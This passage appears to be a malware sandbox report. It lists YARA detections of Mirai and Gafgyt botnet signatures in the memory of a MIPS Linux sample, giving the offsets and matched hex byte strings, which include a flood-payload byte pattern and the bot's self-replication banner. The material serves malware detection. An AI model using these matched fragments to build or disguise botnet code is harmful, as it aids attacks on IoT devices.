0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x143e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x143f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14408:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1441c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14430:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14444:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14458:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1446c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14480:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14494:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1450c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14520:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14534:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14548:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1455c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14570:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x14938:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5494	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5494	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x72ea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x72fe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7312:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7326:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x733a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x734e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7362:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7376:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x738a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x739e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73b2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73c6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73da:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7402:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7416:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x742a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x743e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7452:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7466:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x747a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5494	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x7ba6:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5499	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5499	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3ca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ccc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ce0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3e34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5499	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x4560:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5503	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5503	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6dcb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ddf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6df3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ea7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ebb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ecf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ee3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ef7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f47:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f5b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5503	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x7687:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5506	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5506	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3b87:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b9b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3baf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bc3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bd7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3beb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c13:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c27:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c3b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c4f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c63:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c77:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c8b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c9f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cb3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cc7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cdb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d03:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d17:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5506	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x4443:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5510	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5510	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3180:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3194:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x31a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x31bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x31d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x31e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x31f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x320c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3220:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3234:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3248:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x325c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3270:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3284:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3298:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3310:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5510	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x3a3c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5515	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5515	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3c0d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c21:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c35:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c49:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c5d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c71:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c85:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c99:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cc1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cd5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ce9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cfd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d11:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d25:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d39:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d4d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d61:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d75:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5515	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x44c9:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: ewe.mips.elf PID: 5516	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: ewe.mips.elf PID: 5516	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6d4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6db0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6dc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6dd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6dec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 